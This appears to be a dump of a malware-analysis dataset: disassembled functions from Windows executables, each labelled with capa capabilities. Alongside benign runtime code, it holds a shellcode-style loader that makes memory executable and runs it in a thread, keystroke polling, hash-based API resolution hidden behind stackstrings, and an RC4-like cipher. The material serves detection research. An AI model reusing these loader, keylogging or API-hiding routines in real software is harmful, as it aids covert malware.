joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401820
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401839
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401874
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401870
lea ebx, [ebx]
cmp esi, eax
jae 0x401874
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401860
cmp esi, eax
jb 0x40187a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403ef0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x20119
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403f41
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 8]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403f41
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret

Function at 0x404b70
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x427518
mov eax, dword fs:[0]
push eax
sub esp, 0x34
push esi
push edi
mov eax, dword [0x434f14]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004099b0
push esi
lea ecx, [esp + 0x30]
call fcn.0040a188
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x50], 0
call dword [sym.imp.USER32.dll_GetClientRect]
push 0xe8e7e6
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x34]
call fcn.004134c5
push 0xfffffffffffffffe
push 0xfffffffffffffffe
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_InflateRect]
push 0xe8e7e6
lea ecx, [esp + 0x18]
call fcn.0040a4f4
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x30]
mov byte [esp + 0x4c], 1
call fcn.0040a41e
mov esi, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], vtable.CPen.0
push 0
push 2
push 5
mov byte [esp + 0x54], 2
call dword [sym.imp.GDI32.dll_CreatePen]
push eax
lea ecx, [esp + 0x10]
call fcn.0040a333
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0x30]
call fcn.0040a41e
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push 0x19
push 0x19
mov edi, eax
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push eax
push ecx
call dword [sym.imp.GDI32.dll_RoundRect]
push esi
lea ecx, [esp + 0x30]
call fcn.0040a41e
push edi
lea ecx, [esp + 0x30]
call fcn.0040a41e
lea ecx, [esp + 0xc]
mov byte [esp + 0x48], 1
mov dword [esp + 0xc], vtable.CPen.0
call fcn.004049a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x48], 0
mov dword [esp + 0x14], vtable.CBrush.0
call fcn.004049a0
lea ecx, [esp + 0x2c]
mov dword [esp + 0x48], 0xffffffff
call fcn.0040a1dc
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x40
ret 4
Function at 0x404cd0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x427560
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x434f14]
xor eax, esp
mov dword [esp + 0x74], eax
push ebp
push edi
mov eax, dword [0x434f14]
xor eax, esp
push eax
lea eax, [esp + 0x84]
mov dword fs:[0], eax
mov ebp, ecx
mov ecx, dword [0x4363c8]
lea eax, [esp + 0xc]
push eax
push str.Settings
mov dword [esp + 0x14], 0
mov edx, dword [ecx + 0x30]
push 1
mov dword [esp + 0x98], 0
call edx
mov edi, eax
mov eax, dword [esp + 0xc]
and eax, 0x40000
test edi, edi
jne 0x404e3b
mov ecx, dword [0x4363c8]
mov edx, dword [ecx + 0x14]
test eax, eax
lea eax, [esp + 0x1c]
push eax
je 0x404d58
push 5
jmp 0x404d5a
push 4
call edx
push 0x42a47c
lea ecx, [esp + 0x14]
call fcn.00404ad0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x98]
push ecx
lea edx, [esp + 0x20]
push edx
mov byte [esp + 0x98], 1
call fcn.00404800
lea ecx, [esp + 0x28]
push ecx
push eax
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0xa4], 2
call fcn.004048c0
add esp, 0x18
push eax
lea ecx, [esp + 0x98]
mov byte [esp + 0x90], 3
call fcn.00404730
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404de1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404e09
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x8c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404e31
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x94]
push ecx
jmp 0x404e43
lea edx, [esp + 0x94]
push edx
mov ecx, dword [ebp + 0x1a7f4]
push 0x2166
call fcn.00402750
mov eax, dword [esp + 0x94]
add eax, 0xfffffff0
mov dword [esp + 0x8c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404e81
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [esp + 0x84]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebp
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.0041749e
add esp, 0x84
ret 4
Function at 0x40fb82
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40fbc9
call fcn.004099b0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40fbc9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40fbe5
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040f6fa
mov esi, eax
test edi, edi
je 0x40fbe3
test ebx, ebx
je 0x40fbe3
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x413451
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x413475
cmp dword [edi + 0x54], 0
jne 0x413475
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004099b0
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00413412
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41749e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x434f14]
jne 0x4174a8
repz ret
jmp fcn.0041d6bc
Function at 0x420fe0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041af85
and dword [ebp - 4], 0
cmp dword [0x438db8], 0
mov ebx, eax
jne 0x421091
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x421142
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x421142
push eax
call fcn.0041af13
mov dword [esp], 0x42dc60
push edi
mov dword [0x438db8], eax
call esi
push eax
call fcn.0041af13
mov dword [esp], 0x42dc4c
push edi
mov dword [0x438dbc], eax
call esi
push eax
call fcn.0041af13
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x438dc0], eax
call esi
push eax
call fcn.0041af13
pop ecx
mov dword [0x438dc8], eax
test eax, eax
je 0x421091
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041af13
pop ecx
mov dword [0x438dc4], eax
mov eax, dword [0x438dc4]
cmp eax, ebx
je 0x4210e9
cmp dword [0x438dc8], ebx
je 0x4210e9
push eax
call fcn.0041af8e
push dword [0x438dc8]
mov esi, eax
call fcn.0041af8e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4210e9
test edi, edi
je 0x4210e9
call esi
test eax, eax
je 0x4210e0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4210e0
test byte [ebp - 0xc], 1
jne 0x4210e9
or dword [ebp + 0x10], 0x200000
jmp 0x421122
mov eax, dword [0x438dbc]
cmp eax, ebx
je 0x421122
push eax
call fcn.0041af8e
pop ecx
test eax, eax
je 0x421122
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x421122
mov eax, dword [0x438dc0]
cmp eax, ebx
je 0x421122
push eax
call fcn.0041af8e
pop ecx
test eax, eax
je 0x421122
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x438db8]
call fcn.0041af8e
pop ecx
test eax, eax
je 0x421142
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x421144
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401530
Capabilities:
Create thread

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x1c8
call dbg.__main
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x1b0]
mov ebx, section..rdata
mov edx, 0x61
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0x183
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memmove
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40163b
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401a10
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40539c]
test esi, esi
jle 0x401b70
mov eax, dword [0x4053a0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401aa0
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401b1f
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401a90
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401b97
mov eax, dword [0x4053a0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x4053a0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401b77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401b18
sub eax, 4
and eax, 0xfffffffb
jne 0x401b26
add dword [0x40539c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4053a0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401b18
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
xor esi, esi
jmp 0x401aaa
mov eax, dword [0x4053a0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402050
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x4020a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40209e
test esi, esi
je 0x40209e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402080
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401b60
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
cmp dword [eax + 0x58], 0
jne 0x401b81
xor eax, eax
jmp 0x401c97
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
and ecx, 0x8000
je 0x401bb8
call fcn.00404370
mov esi, eax
shl esi, 0xf
call fcn.00404370
or esi, eax
push esi
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0x58]
call fcn.0040d930
mov dword [ebp - 4], 1
push 0x2e
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx eax, ax
and eax, 0x8000
je 0x401bdc
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x58]
call fcn.0040d400
mov dword [ebp - 4], 1
push 0x20
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
and edx, 0x8000
je 0x401c01
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x58]
call fcn.0040d4d0
mov dword [ebp - 4], 1
push 0x26
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
and ecx, 0x8000
je 0x401c26
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0x58]
call fcn.0040d550
mov dword [ebp - 4], 1
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 0xa1]
test ecx, ecx
jne 0x401c4e
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x58]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x58]
mov edx, dword [eax]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 8]
movzx edx, byte [ecx + 0xa2]
test edx, edx
jne 0x401c6e
mov ecx, dword [ebp - 8]
add ecx, 0x5c
call fcn.0040e050
mov dword [ebp - 4], 1
cmp dword [ebp - 4], 0
je 0x401c94
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x90]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx + 0x90], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x58]
call fcn.0040d9b0
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x407e30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
jmp 0x407e8a
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x18]
jae 0x407ece
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00407b70
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x407ecc
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x407ed0
jmp 0x407e81
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x407ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44e1f8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 8], 0
mov word [ebp - 0x28], 0x6b
mov word [ebp - 0x26], 0x65
mov word [ebp - 0x24], 0x72
mov word [ebp - 0x22], 0x6e
mov word [ebp - 0x20], 0x65
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x33
mov word [ebp - 0x1a], 0x32
mov word [ebp - 0x18], 0x2e
mov word [ebp - 0x16], 0x64
mov word [ebp - 0x14], 0x6c
mov word [ebp - 0x12], 0x6c
mov word [ebp - 0x10], 0
push 0x6fc49b7c
lea eax, [ebp - 0x28]
push eax
call fcn.00407dd0
add esp, 4
push eax
call fcn.00407e30
add esp, 8
mov dword [ebp - 0x2c], eax
push 0xc97c1fff
lea ecx, [ebp - 0x28]
push ecx
call fcn.00407dd0
add esp, 4
push eax
call fcn.00407e30
add esp, 8
mov dword [ebp - 8], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x2c]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004288e0
mov esp, ebp
pop ebp
ret
Function at 0x408070
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x618
push esi
mov dword [ebp - 0x614], 0
mov dword [ebp - 4], 0
jmp 0x408096
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x181
jge 0x4080ae
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov dword [ebp + ecx*4 - 0x610], edx
jmp 0x40808d
mov dword [ebp - 4], 0
jmp 0x4080c0
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x181
jge 0x408137
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 0x614]
add esi, dword [ebp + ecx*4 - 0x610]
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax + edx]
add esi, ecx
mov eax, esi
cdq
mov ecx, 0x181
idiv ecx
mov dword [ebp - 0x614], edx
mov edx, dword [ebp - 4]
mov al, byte [ebp + edx*4 - 0x610]
mov byte [ebp - 0x615], al
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x614]
mov eax, dword [ebp + edx*4 - 0x610]
mov dword [ebp + ecx*4 - 0x610], eax
movzx ecx, byte [ebp - 0x615]
mov edx, dword [ebp - 0x614]
mov dword [ebp + edx*4 - 0x610], ecx
jmp 0x4080b7
mov dword [ebp - 8], 0
jmp 0x408149
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0x10]
jae 0x4081fb
mov eax, dword [ebp - 4]
add eax, 1
cdq
mov ecx, 0x181
idiv ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x614]
add eax, dword [ebp + edx*4 - 0x610]
cdq
mov ecx, 0x181
idiv ecx
mov dword [ebp - 0x614], edx
mov edx, dword [ebp - 4]
mov al, byte [ebp + edx*4 - 0x610]
mov byte [ebp - 0x615], al
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x614]
mov eax, dword [ebp + edx*4 - 0x610]
mov dword [ebp + ecx*4 - 0x610], eax
movzx ecx, byte [ebp - 0x615]
mov edx, dword [ebp - 0x614]
mov dword [ebp + edx*4 - 0x610], ecx
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x610]
mov ecx, dword [ebp - 0x614]
add eax, dword [ebp + ecx*4 - 0x610]
cdq
mov ecx, 0x181
idiv ecx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
xor ecx, dword [ebp + edx*4 - 0x610]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov byte [edx], cl
jmp 0x408140
mov eax, dword [ebp + 8]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41b056
Capabilities:
Encode data using xor

Disassembly:
and ch, ch
loopne 0x41b090
xor ch, ch
out dx, al
or al, 0xed
cld
fsubp st(4)
or dh, byte [edi]
enter 0x18ec, 0x37
mov edx, 0xd43726ec
in al, dx
aaa
aam 0xec
xor al, 0x37
in al, dx
inc edx
aaa
jo 0x41b064
push eax
aaa
sub ah, 0x5e
aaa
jl 0x41b06c
insb byte es:[edi], dx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
aaa
push cs
in eax, dx
jp 0x41b0c2
sbb ch, ch
mov byte [edi], dh
or ch, ch
in eax, dx
xchg esi, eax
aaa
test ah, ch
scasd eax, dword es:[edi]
aaa
mov gs, esp
mov ebp, 0xc6ec9b37
aaa
mov ah, ch
cli
aaa
pop ebp
std
sbb dword [eax], edi
clc
invalid
cmp byte [ebp + 0x1838fafd], dl
invalid
Function at 0x433a02
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042cd4e
xor ebx, ebx
cmp dword [0x4526e8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x433ad7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x433a42
xor eax, eax
jmp 0x433b9b
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x433a3b
push eax
call fcn.0042cceb
mov dword [esp], 0x4447a8
push edi
mov dword [0x4526e8], eax
call esi
push eax
call fcn.0042cceb
mov dword [esp], 0x444794
push edi
mov dword [0x4526ec], eax
call esi
push eax
call fcn.0042cceb
mov dword [0x4526f0], eax
lea eax, [ebp - 8]
push eax
call fcn.0042bb0a
test eax, eax
pop ecx
pop ecx
je 0x433aa5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042edef
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x433ad7
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0042cceb
cmp eax, ebx
pop ecx
mov dword [0x4526f8], eax
je 0x433ad7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042cceb
pop ecx
mov dword [0x4526f4], eax
mov eax, dword [0x4526f4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x433b50
cmp dword [0x4526f8], esi
je 0x433b50
push eax
call fcn.0042cd57
pop ecx
call eax
cmp eax, ebx
je 0x433b1d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4526f8]
call fcn.0042cd57
pop ecx
call eax
test eax, eax
je 0x433b1d
test byte [ebp - 0x18], 1
jne 0x433b50
lea eax, [ebp - 0xc]
push eax
call fcn.0042bb41
test eax, eax
pop ecx
je 0x433b38
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042edef
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x433b47
or dword [ebp + 0x10], 0x200000
jmp 0x433b81
or dword [ebp + 0x10], 0x40000
jmp 0x433b81
mov eax, dword [0x4526ec]
cmp eax, esi
je 0x433b81
push eax
call fcn.0042cd57
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x433b81
mov eax, dword [0x4526f0]
cmp eax, esi
je 0x433b81
push dword [ebp - 4]
push eax
call fcn.0042cd57
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4526e8]
call fcn.0042cd57
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret